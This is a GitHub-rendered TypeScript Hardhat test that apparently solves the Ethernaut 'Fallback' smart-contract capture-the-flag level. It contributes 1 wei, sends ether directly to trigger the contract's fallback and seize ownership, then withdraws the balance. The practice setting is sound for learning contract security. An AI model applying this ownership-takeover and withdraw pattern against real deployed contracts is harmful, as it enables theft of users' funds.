-
Notifications
You must be signed in to change notification settings - Fork 28
/
1-fallback.ts
40 lines (34 loc) · 1.05 KB
/
1-fallback.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import { expect } from "chai";
import { Contract, Signer } from "ethers";
import { ethers } from "hardhat";
import { createChallenge, submitLevel } from "./utils";
let accounts: Signer[];
let eoa: Signer;
let attacker: Contract;
let challenge: Contract; // challenge contract
let tx: any;
before(async () => {
accounts = await ethers.getSigners();
[eoa] = accounts;
const challengeFactory = await ethers.getContractFactory(`Fallback`);
const challengeAddress = await createChallenge(
`0x9CB391dbcD447E645D6Cb55dE6ca23164130D008`
);
challenge = await challengeFactory.attach(challengeAddress);
});
it("solves the challenge", async function () {
tx = await challenge.contribute({
value: ethers.utils.parseUnits(`1`, `wei`),
});
await tx.wait();
tx = await eoa.sendTransaction({
to: challenge.address,
value: ethers.utils.parseUnits(`1`, `wei`),
});
await tx.wait();
tx = await challenge.withdraw();
await tx.wait();
});
after(async () => {
expect(await submitLevel(challenge.address), "level not solved").to.be.true;
});